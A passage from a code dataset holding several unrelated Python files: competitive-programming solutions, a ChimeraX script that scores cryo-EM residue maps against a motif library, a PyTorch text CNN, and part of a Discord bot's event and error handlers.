= defaultdict(list)\nfor _ in range(int(input())):\n a, b = input().split(' -> ')\n d[a].append(b)\n\nq = deque()\nq.append((start, [start]))\nwhile q:\n person, path = q.popleft()\n if person == 'Neil Armstrong':\n for p in path[::-1]:\n print(p)\n exit()\n for p in d[person]:\n q.append((p, path + [p]))","repo_name":"kahuku/competitive_programming","sub_path":"hackerrank/six-degrees-of-neil-armstrong.py","file_name":"six-degrees-of-neil-armstrong.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19144919838","text":"__author__ = 'Andrei Istrate'\n__email__ = 'andrei@ebi.ac.uk'\n__date__ = '2019-04-10'\n\n\nimport os\nimport csv\nimport sys\nfrom multiprocessing import Process, Manager, Lock\nfrom datetime import datetime\nimport multiprocessing\nfrom shutil import copy, rmtree\nimport json\nimport argparse\nimport operator\nimport psutil\n# from chimera import runCommand as rc\n# from chimera import openModels as om, selection\n# from FitMap.fitcmd import fitmap\nfrom chimerax.core.commands import Command\nfrom chimerax.map.volume import Volume\nfrom chimerax.atomic.structure import AtomicStructure\nimport logging\n\nrc = Command(session)\nSD_LEVEL = 3\nmultiprocessing.set_start_method('fork')\n\n\nclass DictKeys:\n \"\"\"\n Class for storing the fields names in the output csv file\n \"\"\"\n RES_TYPE = 'residue_type'\n RES_NR = 'residue_nr'\n CHAIN = 'chain'\n TOP_TYPE = 'top_residue_type'\n TOP_CC = 'top_cc'\n RES_MAP = 'residue_map'\n RES_MODEL = 'residue_model'\n SCORES = 'scores'\n\n\nkeys = DictKeys()\n\nalign_atoms_dict = {\n 'symmetric': {'HIS': [['n', 'c', 'ca', 'cb', 'cg', 'nd1', 'ce1', 'cd2', 'ne2'],\n ['n', 'c', 'ca', 'cb', 'cg', 'cd2', 'ne2', 'nd1', 'ce1']],\n 'PHE': [['n', 'c', 'ca', 'cb', 'cg', 'cd1', 'ce1', 'cd2', 'ce2', 'cz'],\n ['n', 'c', 'ca', 'cb', 'cg', 'cd2', 'ce2', 'cd1', 'ce1', 'cz']],\n 'TYR': [['n', 'c', 'ca', 'cb', 'cg', 'cd1', 'ce1', 'cd2', 'ce2', 'cz'],\n ['n', 'c', 'ca', 'cb', 'cg', 'cd2', 'ce2', 'cd1', 'ce1', 'cz']]\n },\n 'asymmetric': {'ASP': ['n', 'c', 'ca', 'cb', 'cg'],\n 'GLU': ['n', 'c', 'ca', 'cb', 'cg', 'cd'],\n 'ASN': ['n', 'c', 'ca', 'cb', 'cg'],\n 'ARG': ['n', 'c', 'ca', 'cb', 'cg', 'cd'],\n 'LYS': ['n', 'c', 'ca', 'cb', 'cg', 'cd'],\n 'MET': ['n', 'c', 'ca', 'cb', 'cg', 'sd'],\n 'GLN': ['n', 'c', 'ca', 'cb', 'cg', 'cd'],\n 'ILE': ['n', 'c', 'ca', 'cb', 'cg1', 'cd1'],\n 'LEU': ['n', 'c', 'ca', 'cb', 'cg', 'cd1'],\n 'TRP': ['n', 'c', 'ca', 'cb', 'cg', 'cd1'],\n 'PRO': ['n', 'c', 'ca', 'cb', 'cg'],\n 'THR': ['n', 'c', 'ca', 'cb', 'cg2'],\n 'VAL': ['n', 'c', 'ca', 'cb', 'cg1', 'cg2'],\n 'SER': ['n', 'c', 'ca', 'cb', 'og'],\n 'CYS': ['n', 'c', 'ca', 'cb', 'sg'],\n 'GLY': ['n', 'c', 'ca'],\n 'ALA': ['n', 'c', 'ca', 'cb']\n }\n }\n\n\ndef run_x(command):\n try:\n return rc.run(command)[0][0]\n except TypeError:\n return None\n\n\ndef open_model(path, log):\n try:\n model_obj = session.open_command.open_data(path)[0][0]\n if type(model_obj) == AtomicStructure or type(model_obj) == Volume:\n session.models.add([model_obj])\n return model_obj\n except AttributeError:\n model_obj = run_x(f'open {path}')\n if type(model_obj) == AtomicStructure or type(model_obj) == Volume:\n return model_obj\n else:\n log.error(f'Could not get model object reference after opening:\\n {path}')\n\n\ndef read_motif_lib(motif_lib_dir):\n \"\"\"\n Reads motif library\n :param motif_lib_dir: library path\n :return: list of map model pair paths\n \"\"\"\n lib_pairs = []\n files = os.listdir(motif_lib_dir)\n pdb_names = [i for i in files if i.endswith('.cif') and not i.startswith('.')]\n for name in pdb_names:\n prefix = name.split('.cif')[0]\n map_path = os.path.join(motif_lib_dir, prefix + '.map')\n mrc_path = os.path.join(motif_lib_dir, prefix + '.mrc')\n if os.path.exists(map_path):\n lib_pairs.append([prefix, os.path.join(motif_lib_dir, name), map_path])\n elif os.path.exists(mrc_path):\n lib_pairs.append([prefix, os.path.join(motif_lib_dir, name), mrc_path])\n return lib_pairs\n\n\ndef score_residue(res_map, res_model, loaded_lib, process_log):\n \"\"\"\n Scores a residue map against the motif library\n :param res_map: residue map path\n :param res_model: residue model path\n :param loaded_lib: motif library as chimerax objects\n :param process_log: logger\n :return: residue scores\n \"\"\"\n process_log.info(f'Scoring {os.path.basename(res_map)}, {os.path.basename(res_model)} ')\n res_score = []\n # mod = run_x('open ' + res_model)\n # vol = run_x('open ' + res_map)\n mod = open_model(res_model, process_log)\n vol = open_model(res_map, process_log)\n for motif, lib_mod, lib_vol in loaded_lib:\n mod_sel = '#{}@c,ca,n'.format(mod.id_string)\n lib_mod_sel = '#{}@c,ca,n'.format(lib_mod.id_string)\n try:\n run_x(f'align {lib_mod_sel} to {mod_sel}')\n except:\n process_log.error(f'Backbone atoms missing in {os.path.basename(res_model)}. Cannot align! ')\n res_score.append((motif, None))\n continue\n run_x(f'view position #{lib_vol.id_string} sameAsModels #{lib_mod.id_string}')\n run_x(f'volume #{lib_vol.id_string} sdLevel {SD_LEVEL}')\n run_x(f'volume #{vol.id_string} sdLevel {SD_LEVEL}')\n\n try:\n fit1 = run_x(f'fitmap #{lib_vol.id_string} inMap #{vol.id_string} metric correlation')\n correlation1 = fit1.correlation()\n except Exception as err:\n process_log.error('Chimerax user error!! %s in map %s at sdLevel = %s', err, lib_vol.name, SD_LEVEL)\n process_log.info('Changing threshold level to %s', SD_LEVEL - 0.1)\n try:\n run_x(f'volume #{lib_vol.id_string} sdLevel {SD_LEVEL - 0.1}')\n fit1 = run_x(f'fitmap #{lib_vol.id_string} inMap #{vol.id_string} metric correlation')\n correlation1 = fit1.correlation()\n except Exception as err:\n process_log.error('Chimerax user error!! %s in map %s at sdLevel = %s', err, lib_vol.name, SD_LEVEL - 0.1)\n process_log.info('Could not calculate %s and %s correlation. This is most likely due to missing map '\n 'values above the threshold level. Assigning 0 correlation', vol.name, lib_vol.name)\n correlation1 = 0\n matrix = ','.join(f\"{round(x, 5)}\" for x in tuple(lib_vol.position.matrix.flat))\n try:\n fit2 = run_x(f'fitmap #{vol.id_string} inMap #{lib_vol.id_string} metric correlation')\n correlation2 = fit2.correlation()\n except Exception as err:\n process_log.info('User error!! %s %s', err, lib_vol.name)\n try:\n run_x(f'volume #{vol.id_string} sdLevel {SD_LEVEL - 0.1}')\n fit2 = run_x(f'fitmap #{vol.id_string} inMap #{lib_vol.id_string} metric correlation')\n correlation2 = fit2.correlation()\n except Exception as err:\n process_log.info('User error!! %s %s', err, lib_vol.name)\n correlation2 = 0\n # if all([correlation1, correlation2]):\n min_corr = round(min([correlation1, correlation2]), 5)\n res_score.append((motif, min_corr, matrix))\n # else:\n # res_score.append((motif, None, None))\n # This resets the view after fitting\n run_x('view orient; view initial')\n\n # res_score.sort(reverse=True, key=lambda z: z[1])\n return res_score\n\n\ndef capture_memory_usage():\n \"\"\"\n Finds the memory usage of the current process\n :return: memory usage in MB\n \"\"\"\n p = psutil.Process()\n mem = psutil.Process(p.pid).memory_info()\n return p.pid, mem.rss / 1000000\n\n\ndef setup_logger(name, log_file=None, warning_level=\"info\"):\n \"\"\"\n Function setup as many loggers as needed\n :param name: logger name\n :param log_file: process_log file in_dir\n :param warning_level: warning level\n :return: logger\n \"\"\"\n if warning_level.lower() == 'debug':\n warning_level = logging.DEBUG\n else:\n warning_level = logging.INFO\n formatter = logging.Formatter('%(levelname)s: %(message)s')\n if log_file:\n handler = logging.FileHandler(log_file)\n else:\n handler = logging.StreamHandler()\n handler.setFormatter(formatter)\n\n logger = logging.getLogger(name)\n logger.setLevel(warning_level)\n # Remove old handlers\n for h in logger.handlers:\n logger.removeHandler(h)\n logger.addHandler(handler)\n\n return logger\n\n\ndef slave(pairs_list, lib, score_list, lock, json_out_path, csv_out_path=None, close_rate=50):\n p = psutil.Process()\n # process_log = logging.getLogger(str(p.pid))\n #\n # process_log.basicConfig(filename='process_logs/' + str(p.pid) + '.process_log', level=logging.INFO,\n # format='%(levelname)s: %(message)s')\n process_log = setup_logger(str(p.pid), log_file='process_logs/' + str(p.pid))\n\n def load_lib():\n process_log.debug('Loading motif library')\n l_lib = []\n for mot in lib:\n # mod = run_x('open ' + mot[1])\n # vol = run_x('open ' + mot[2])\n mod = open_model(mot[1], process_log)\n vol = open_model(mot[2], process_log)\n l_lib.append([mot[0], mod, vol])\n return l_lib\n\n loaded_lib = load_lib()\n for k, pair in enumerate(pairs_list):\n if k > 0 and k % close_rate == 0:\n run_x('close session')\n loaded_lib = load_lib()\n\n # p_id, mem = capture_memory_usage()\n # with open(f'{p_id}.txt', 'a') as f:\n # f.write('Closing session\\n')\n # f.write(f'{mem}\\n')\n # p_id, mem = capture_memory_usage()\n # with open(f'{p_id}.txt', 'a') as f:\n # f.write(f'{mem}\\n')\n\n res_scores = score_residue(pair[0], pair[1], loaded_lib, process_log)\n\n res_name = os.path.basename(pair[1]).split('.')[0]\n name_lst = res_name.split('-')\n if name_lst[1] == '':\n name_lst[2] = '-' + name_lst[2]\n del name_lst[1]\n res_type = name_lst[0]\n res_nr = name_lst[1]\n chain = name_lst[2]\n residue_data = {keys.RES_TYPE: res_type,\n keys.CHAIN: chain,\n keys.RES_NR: int(res_nr),\n keys.RES_MAP: os.path.basename(pair[0]),\n keys.RES_MODEL: os.path.basename(pair[1]),\n }\n for item in res_scores:\n # motif_name: correlation_m_matrix\n if item[1] is not None:\n residue_data[item[0]] = f'{item[1]}_m_{item[2]}'\n else:\n residue_data[item[0]] = None\n\n lock.acquire()\n score_list.append(residue_data)\n if k % 10 == 0:\n scores_list_out = []\n for i in score_list:\n scores_list_out.append(i)\n scores_list_out.sort(key=operator.itemgetter(keys.CHAIN, keys.RES_NR))\n if os.path.exists(json_out_path):\n copy(json_out_path, json_out_path + '_bak')\n save_json(json_out_path, scores_list_out)\n if csv_out_path:\n with open(csv_out_path, mode='w') as csv_file:\n fieldnames = [key for key in scores_list_out[0].keys()]\n writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n writer.writeheader()\n for item in scores_list_out:\n writer.writerow(item)\n lock.release()\n\n\ndef score_structure(known_correlations, unknown_pairs, lib, json_out_path, main_log, csv_out_path=None, np=4):\n \"\"\"\n Scores\n :param log_file:\n :param known_correlations:\n :param unknown_pairs:\n :param lib:\n :param json_out_path: out json file path\n :param csv_out_path: out csv file path\n :param np: number of cores\n :return:\n \"\"\"\n if len(unknown_pairs) == 0:\n return\n log_tmp = 'process_logs'\n\n if not os.path.exists(log_tmp):\n os.mkdir(log_tmp)\n\n score_list = Manager().list()\n for entry in known_correlations:\n score_list.append(entry)\n\n split_pairs = split_list(unknown_pairs, np)\n thread_list = []\n lock = Lock()\n for batch_list in split_pairs:\n t = Process(target=slave, args=(batch_list, lib, score_list, lock, json_out_path, csv_out_path))\n thread_list.append(t)\n for thread in thread_list:\n thread.start()\n for thread in thread_list:\n thread.join()\n\n scores_list_out = []\n for i in score_list:\n scores_list_out.append(i)\n scores_list_out.sort(key=operator.itemgetter(keys.CHAIN, keys.RES_NR))\n copy(json_out_path, json_out_path + '_bak')\n save_json(json_out_path, scores_list_out)\n if csv_out_path:\n with open(csv_out_path, mode='w') as csv_file:\n fieldnames = [key for key in scores_list_out[0].keys()]\n writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n writer.writeheader()\n for item in scores_list_out:\n writer.writerow(item)\n # Combine logs\n stream_slave_logs(log_tmp, main_log)\n # combine_files(log_tmp, log_file)\n # if os.path.exists(log_tmp):\n # rmtree(log_tmp)\n\n\ndef combine_files(dir_path, out_file):\n files = os.listdir(dir_path)\n files = [f for f in files if not f.startswith('.')]\n\n with open(out_file, 'w') as outfile:\n if len(files) > 0:\n for file in files:\n with open(os.path.join(dir_path, file), 'r') as infile:\n for line in infile:\n outfile.write(line)\n\n\ndef stream_slave_logs(logs_dir, main_log):\n files = os.listdir(logs_dir)\n files = [f for f in files if not f.startswith('.')]\n for i, file in enumerate(files):\n with open(os.path.join(logs_dir, file), 'r') as infile:\n lines = infile.readlines()\n try:\n lines[-1] = lines[-1].rstrip()\n except IndexError:\n pass\n main_log.info(f'rank {i}' + '\\n' + ''.join(lines))\n\n\n\ndef read_json(json_path):\n with open(json_path) as j:\n data = json.load(j)\n return data\n\n\ndef save_json(file_path, data):\n with open(file_path, 'w') as j:\n json.dump(data, j, indent=4)\n\n\ndef split_list(inp_list, nr):\n \"\"\"\n Splits evenly a list\n :param inp_list: list\n :param nr: number of parts\n :return: list of \"nr\" lists\n \"\"\"\n new_list = []\n nr_el = 1.0 / nr * len(inp_list)\n for i in range(nr):\n start = int(round(i * nr_el))\n end = int(round((i + 1) * nr_el))\n new_list.append(inp_list[start:end])\n return new_list\n\n\ndef check_known_correlations(inp_corr_list, lib):\n incomplete_indices = []\n for index, entry in enumerate(inp_corr_list):\n if len(entry.keys()) - 5 < len(lib) or None in entry.values():\n incomplete_indices.append(index)\n incomplete_indices.sort(reverse=True)\n\n for index in incomplete_indices:\n # del incomplete_indices[index]\n del inp_corr_list[index]\n return inp_corr_list\n\n\ndef exclude_known_pairs(pair_list, inp_corr_list):\n unknown_pairs = []\n for pair in pair_list:\n for entry in inp_corr_list:\n if os.path.basename(pair[0]) in entry.values():\n break\n else:\n unknown_pairs.append(pair)\n return unknown_pairs\n\n\ndef main():\n import time\n start = time.time()\n # print(sys.argv)\n st_arg = 1\n for item in sys.argv:\n if str(item).startswith('--'):\n st_arg += 1\n sys.argv = sys.argv[st_arg:]\n # print(sys.argv)\n parser = argparse.ArgumentParser(description='Score map')\n parser.add_argument(\"-p\", \"--pair_list\", dest=\"pair_list\", required=True,\n help=\"List of residue map, residue pdb paths as json file\")\n parser.add_argument(\"-sl\", \"--strudel_lib\", dest=\"lib\", required=True, help=\"Motif library in_dir\")\n parser.add_argument(\"-np\", \"--n_processors\", dest=\"np\", required=False, help=\"Number of processors\")\n parser.add_argument(\"-r\", \"--recompute\", dest=\"recompute\", action='store_true',\n help=\"Recalculate correlations\")\n parser.add_argument(\"-o\", \"--out\", dest=\"out\", required=True, help=\"Out json file in_dir\")\n parser.add_argument(\"-l\", \"--log\", dest=\"log\", required=True, help=\"Log file\")\n args = parser.parse_args()\n\n log = setup_logger('main', args.log)\n\n # print(args.pair_list)\n pair_list = read_json(args.pair_list)\n lib = read_motif_lib(args.lib)\n if not args.recompute:\n inp_correlations = None\n try:\n inp_correlations = read_json(args.out)\n except (FileNotFoundError, json.decoder.JSONDecodeError) as _:\n try:\n inp_correlations = read_json(args.out + '_bak')\n except (FileNotFoundError, json.decoder.JSONDecodeError) as _:\n pass\n if inp_correlations:\n log.info('Results from a previous run were found. Checking the data...')\n known_correlations = check_known_correlations(inp_correlations, lib)\n log.info(f'Found scores for {len(known_correlations)} out of {len(pair_list)} residues')\n pair_list = exclude_known_pairs(pair_list, known_correlations)\n # for p in pair_list:\n # print(p)\n else:\n known_correlations = []\n else:\n known_correlations = []\n\n head, tail = os.path.split(args.out)\n csv_path = os.path.join(head, tail.split('.')[0] + '.csv')\n\n score_structure(known_correlations=known_correlations,\n unknown_pairs=pair_list,\n lib=lib,\n json_out_path=args.out,\n main_log=log,\n csv_out_path=csv_path,\n np=int(args.np))\n\n print(f'Run time = {time.time()-start}')\n run_x('exit')\n\nmain()\n\n","repo_name":"emdb-empiar/3dstrudel","sub_path":"threed_strudel/validation/score_chimerax.py","file_name":"score_chimerax.py","file_ext":"py","file_size_in_byte":17930,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"18229292253","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val=None, children=None):\n self.val = val\n self.children = children\n\"\"\"\nfrom collections import deque\n\nclass Solution:\n def maxDepth(self, root: 'Node') -> int:\n\n # Finding depth using level order traversal\n if not root:\n return 0\n\n q = deque([root])\n level = 0\n while q:\n level += 1\n size = len(q)\n\n for item in range(size):\n node = q.popleft()\n if node.children:\n for child in node.children:\n q.append(child)\n return level\n\n","repo_name":"Riazul-Islam-Rifat/LeetCode","sub_path":"Tree/Maximum depth of N-ary tree.py","file_name":"Maximum depth of N-ary tree.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16723513809","text":"#!/usr/bin/env python\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn.functional import dropout\n\nclass Multi_kernel_cnn(nn.Module):\n def __init__(self):\n super(Multi_kernel_cnn,self).__init__()\n self.is_training=True\n self.num_classes=17\n self.vocab_size=859 \n self.embedd_dim=128 \n self.text_len=104 \n self.dropout_rate=0.5\n self.feature_size=128 \n self.window_sizes=[2,4,6,8,10]\n \n self.embedding_layer=nn.Embedding(num_embeddings=self.vocab_size,\n embedding_dim=self.embedd_dim,\n padding_idx=858)\n \n self.convs=nn.ModuleList([nn.Sequential(nn.Conv1d(in_channels=self.embedd_dim,\n out_channels=self.feature_size,\n kernel_size=self.window_sizes[i],\n stride=1),\n nn.ReLU(),\n nn.MaxPool1d(kernel_size=self.text_len-self.window_sizes[i]+1)) \n for i in range(len(self.window_sizes))])\n \n self.fc=nn.Linear(in_features=len(self.window_sizes)*self.feature_size,\n out_features=self.num_classes)\n \n def forward(self,x): \n embedded_x=self.embedding_layer(x)#size=[batch_size,text_len,embedd_dim]\n \n embedded_x=embedded_x.permute(0,2,1)#size=[batch_size,embedd_dim,text_len]\n \n conv_x=[conv(embedded_x) for conv in self.convs]#size(conv_x[i])=[batch_size,feature_size,1]\n \n tmp_output=torch.cat(conv_x,dim=1) #size=[batch_size,5*feature_size,1]\n \n tmp_output=tmp_output.view(-1,tmp_output.size(1)) #size=[batch_size,5*feature_size]\n tmp_output=dropout(input=tmp_output,p=self.dropout_rate)\n final_output=self.fc(tmp_output)\n \n \n return final_output ","repo_name":"frankhjh/Abnormality-Recognition-in-Medical-Image-Report","sub_path":"models/text_cnn_model.py","file_name":"text_cnn_model.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37630048388","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\"\"\"\n@File : 141.py\n@Time : 2020/03/29 16:00:10\n@Author : linhong02\n@Desc : 判断list是否为环\n快慢指针\n\"\"\"\n\n# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def hasCycle(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n \"\"\"\n if not head:\n return False\n first = head\n second = head\n while second and second.next:\n first = first.next\n second = second.next.next\n if first == second:\n return True\n return False\n","repo_name":"HonniLin/leetcode","sub_path":"history/141.py","file_name":"141.py","file_ext":"py","file_size_in_byte":730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30793437763","text":"import os\nimport traceback\nfrom datetime import timezone\n\nimport disnake\nfrom disnake.ext import commands\nfrom dotenv import load_dotenv\n\nfrom utils.log import close_loggers, get_logger, setup_loggers\nfrom utils.pxls.template_manager import TemplateManager\nfrom utils.setup import (\n DEFAULT_PREFIX,\n GUILD_IDS,\n db_canvas,\n db_servers,\n db_stats,\n db_templates,\n db_users,\n)\n\nload_dotenv()\nintents = disnake.Intents.all()\nactivity = disnake.Activity(\n type=disnake.ActivityType.watching, name=\"you placing those pixels 👀\"\n)\nallowed_mentions = disnake.AllowedMentions(\n everyone=False,\n users=False,\n roles=False,\n replied_user=False,\n)\nbot = commands.Bot(\n command_prefix=db_servers.get_prefix,\n help_command=None,\n intents=intents,\n case_insensitive=True,\n activity=activity,\n test_guilds=GUILD_IDS,\n reload=bool(GUILD_IDS),\n allowed_mentions=allowed_mentions,\n)\n\ntracked_templates = TemplateManager()\n\n\n@bot.event\nasync def on_connect():\n # create db tables if they dont exist\n await db_servers.create_tables()\n await db_users.create_tables()\n await db_stats.create_tables()\n await db_templates.create_tables()\n await db_canvas.create_tables()\n await db_canvas.setup()\n\n\n@bot.event\nasync def on_ready():\n logger.info(\"We have logged in as {0.user}\".format(bot))\n\n\n@bot.event\nasync def on_slash_command(inter):\n await on_command(inter)\n\n\n@bot.event\nasync def on_message_command(inter):\n await on_command(inter)\n\n\n@bot.event\nasync def on_command(ctx):\n \"\"\"Save the command usage in the database and in a discord channel if set\"\"\"\n slash_command = isinstance(ctx, disnake.ApplicationCommandInteraction)\n if slash_command:\n command_name = ctx.data.name\n for option in ctx.data.options:\n if option.type in (\n disnake.OptionType.sub_command,\n disnake.OptionType.sub_command_group,\n ):\n command_name += f\" {option.name}\"\n else:\n command_name = ctx.command.qualified_name\n\n is_dm = ctx.guild is None\n\n if is_dm:\n server_name = None\n channel_id = None\n context = \"DM\"\n else:\n server_name = ctx.guild.name\n channel_id = ctx.channel.id\n context = f\"• **Server**: {server_name} \"\n context += f\"• **Channel**: <#{channel_id}>\\n\"\n\n message_time = ctx.message.created_at if not slash_command else ctx.created_at\n message_time = message_time.replace(tzinfo=timezone.utc)\n author_id = ctx.author.id\n message = f\"By <@{author_id}> \"\n message += f\"on \\n\"\n if not slash_command:\n args_clean = ctx.message.content\n args = f\"```{args_clean}```\"\n args += f\"[link to the message]({ctx.message.jump_url})\\n\"\n if len(message + args) > 1024:\n args = \"```[Message too long to show]```\"\n args += f\"[link to the message]({ctx.message.jump_url})\\n\"\n\n message += args\n else:\n options = \"\"\n for key, value in ctx.filled_options.items():\n options += f\" {key}:{value}\"\n args_clean = f\"/{command_name}{options}\"\n args = f\"```{args_clean}```\"\n if len(message + args) > 1024:\n args = \"```[Command too long to show]```\"\n message += args\n\n # save commands used in the database\n await db_servers.create_command_usage(\n command_name,\n is_dm,\n server_name,\n channel_id,\n author_id,\n message_time.replace(tzinfo=None),\n args_clean,\n slash_command,\n )\n\n # log commands used in a channel if a log channel is set\n log_channel_id = os.environ.get(\"COMMAND_LOG_CHANNEL\")\n try:\n log_channel = await bot.fetch_channel(log_channel_id)\n except Exception:\n return\n emb = disnake.Embed(color=0x00BB00, title=\"Command '{}' used.\".format(command_name))\n emb.add_field(name=\"Context:\", value=context, inline=False)\n emb.add_field(name=\"Message:\", value=message, inline=False)\n emb.set_thumbnail(url=ctx.author.display_avatar)\n await log_channel.send(embed=emb)\n\n\n# add a global check for blacklisted users\nclass UserBlacklisted(commands.CommandError):\n pass\n\n\n@bot.application_command_check(\n slash_commands=True, user_commands=True, message_commands=True\n)\nasync def blacklist_check(inter: disnake.AppCmdInter):\n discord_user = await db_users.get_discord_user(inter.author.id)\n if discord_user[\"is_blacklisted\"]:\n raise UserBlacklisted()\n return True\n\n\n@bot.event\nasync def on_slash_command_error(inter, error):\n await on_command_error(inter, error)\n\n\n@bot.event\nasync def on_message_command_error(inter, error):\n await on_command_error(inter, error)\n\n\n@bot.event\nasync def on_command_error(ctx, error):\n if isinstance(error, commands.CommandInvokeError):\n error = error.original\n\n ignored = (commands.CommandNotFound, commands.DisabledCommand)\n if isinstance(error, ignored):\n return\n\n slash_command = isinstance(ctx, disnake.ApplicationCommandInteraction)\n if slash_command:\n command_name = ctx.data.name\n for option in ctx.data.options:\n if option.type in (\n disnake.OptionType.sub_command,\n disnake.OptionType.sub_command_group,\n ):\n command_name += f\" {option.name}\"\n else:\n command_name = ctx.command.qualified_name\n\n # handled errors\n if not slash_command and isinstance(error, commands.MissingRequiredArgument):\n text = \"❌ \" + str(error) + \"\\n\"\n text += f\"Usage: `{ctx.prefix}{command_name} {ctx.command.usage}`\"\n return await ctx.send(text)\n\n if isinstance(error, (commands.MissingPermissions, commands.NotOwner)):\n return await ctx.send(\n f\"❌ You don't have permissions to use the `{command_name}` command.\"\n )\n\n if isinstance(error, commands.CommandOnCooldown):\n return await ctx.send(f\"❌ {error}\")\n\n if isinstance(error, OverflowError):\n return await ctx.send(\"❌ Overflow error. <:bruhkitty:943594789532737586>\")\n\n if isinstance(error, (disnake.errors.Forbidden, disnake.Forbidden)):\n # Try to send error message\n missing_perms_emoji = \"<:Im_missing_permissions:955623636818071562>\"\n try:\n embed = disnake.Embed(\n color=0xFF4747,\n title=\"Missing Permissions\",\n description=f\"{missing_perms_emoji} I'm missing permissions to run this command.\",\n )\n return await ctx.send(embed=embed)\n except Exception:\n # Try to add reaction\n try:\n return await ctx.message.add_reaction(missing_perms_emoji)\n except Exception:\n # Give up\n return\n if isinstance(error, UserBlacklisted):\n embed = disnake.Embed(\n title=\"Blacklisted\",\n color=disnake.Color.red(),\n description=\"You have been blacklisted, you cannot use this bot anymore.\",\n )\n return await ctx.send(embed=embed, ephemeral=True)\n\n # unhandled errors\n try:\n if slash_command:\n if not isinstance(error, disnake.errors.NotFound):\n embed = disnake.Embed(\n color=0xFF4747,\n title=\"Unexpected error.\",\n description=\" An unexpected error occurred, please contact the bot developer if the problem persists.\",\n )\n await ctx.send(embed=embed, ephemeral=True)\n else:\n await ctx.message.add_reaction(\"\")\n except Exception:\n pass\n\n logger.exception(\n f\"Unexpected exception in command {command_name} by {ctx.author}:\",\n exc_info=error,\n )\n\n # send message in log error channel\n log_channel_id = os.environ.get(\"ERROR_LOG_CHANNEL\")\n try:\n log_channel = await bot.fetch_channel(log_channel_id)\n except Exception:\n return\n if log_channel is not None:\n tb = traceback.format_exception(type(error), error, error.__traceback__)\n tb = tb[2:4]\n tb = \"\".join(tb)\n\n if ctx.guild is None:\n context = \"DM\"\n else:\n context = f\"• **Server**: {ctx.guild.name} ({ctx.guild.id})\\n\"\n context += f\"• **Channel**: <#{ctx.channel.id}>\\n\"\n\n message_time = ctx.message.created_at if not slash_command else ctx.created_at\n message_time = message_time.replace(tzinfo=timezone.utc)\n message = f\"By <@{ctx.author.id}> \"\n message += f\"on \\n\"\n\n if not slash_command:\n args = f\"```{ctx.message.content}```\"\n args += f\"[link to the message]({ctx.message.jump_url})\\n\"\n if len(message + args) > 1024:\n args = \"```[Message too long to show]```\"\n args += f\"[link to the message]({ctx.message.jump_url})\\n\"\n\n message += args\n else:\n options = \"\"\n for key, value in ctx.filled_options.items():\n options += f\" {key}:{value}\"\n args = f\"```/{command_name}{options}```\"\n if len(message + args) > 1024:\n args = \"```[Command too long to show]```\"\n message += args\n emb = disnake.Embed(\n color=0xFF0000,\n title=\"Unexpected exception in command '{}'\".format(command_name),\n )\n emb.add_field(name=\"Context:\", value=context, inline=False)\n emb.add_field(name=\"Message:\", value=message, inline=False)\n error_name = f\"```{error.__class__.__name__}: {error}```\"\n if len(error_name) > 1024:\n error_name = f\"```{error.__class__.__name__}: [Too long to show]```\"\n\n emb.add_field(\n name=\"Error:\",\n value=error_name,\n inline=False,\n )\n tb_str = f\"```\\n{tb}```\"\n if len(tb_str) > 1024:\n tb_str = \"```[Too long to show]```\"\n emb.add_field(name=\"Traceback:\", value=tb_str, inline=False)\n\n await log_channel.send(embed=emb)\n\n\n@bot.event\nasync def on_message(message):\n await bot.wait_until_ready()\n\n # check that the user isn't the bot itself\n if message.author == bot.user:\n return\n\n # check that the user isn't an other bot\n if message.author.bot:\n return\n\n # add the user to the db and check if the user is blacklisted\n discord_user = await db_users.get_discord_user(message.author.id)\n if discord_user[\"is_blacklisted\"]:\n return\n\n if message.guild:\n # check that server is in the db\n server = await db_servers.get_server(message.guild.id)\n if server is None:\n await db_servers.create_server(message.guild.id, DEFAULT_PREFIX)\n logger.info(\n \"joined a new server: {0.name} (id: {0.id})\".format(message.guild)\n )\n\n # check if user has a blacklisted role\n blacklist_role_id = await db_servers.get_blacklist_role(message.guild.id)\n if blacklist_role_id is not None:\n blacklist_role = message.guild.get_role(int(blacklist_role_id))\n if blacklist_role is not None:\n if blacklist_role in message.author.roles:\n return\n\n try:\n if message.content == \">_>\":\n return await message.channel.send(\"<_<\")\n if message.content == \">.>\":\n return await message.channel.send(\"<.<\")\n if message.content == \">_<\":\n return await message.channel.send(\"<_>\")\n if message.content == \"aa\":\n await message.channel.send(\"<:watermeloneat:955627387666694155>\")\n if message.content == \"AA\":\n await message.channel.send(\"<:watermelonDEATH:949447275753648268>\")\n except Exception:\n pass\n\n try:\n if bot.user in message.mentions:\n if \"good bot\" in message.content.lower():\n await message.add_reaction(\"\")\n elif \"bad bot\" in message.content.lower():\n await message.add_reaction(\"\")\n else:\n await message.add_reaction(\"<:peepoPinged:943594603632816188>\")\n except Exception:\n pass\n await bot.process_commands(message)\n\n\n@bot.event\nasync def on_guild_join(guild: disnake.Guild):\n\n # check that the guild owner isnt blacklisted\n discord_user = await db_users.get_discord_user(guild.owner.id)\n if discord_user[\"is_blacklisted\"]:\n logger.info(\n \"Tried to join a new server: {0.name} (id: {0.id}) but owner blacklisted: {1.name} ({1.id})\".format(\n guild, guild.owner\n )\n )\n await guild.leave()\n return\n\n await db_servers.create_server(guild.id, DEFAULT_PREFIX)\n logger.info(\"joined a new server: {0.name} (id: {0.id})\".format(guild))\n\n # get the log channel\n log_channel_id = os.environ.get(\"ERROR_LOG_CHANNEL\")\n try:\n log_channel = await bot.fetch_channel(log_channel_id)\n except Exception:\n # don't log if no log channel is set\n return\n\n # make the 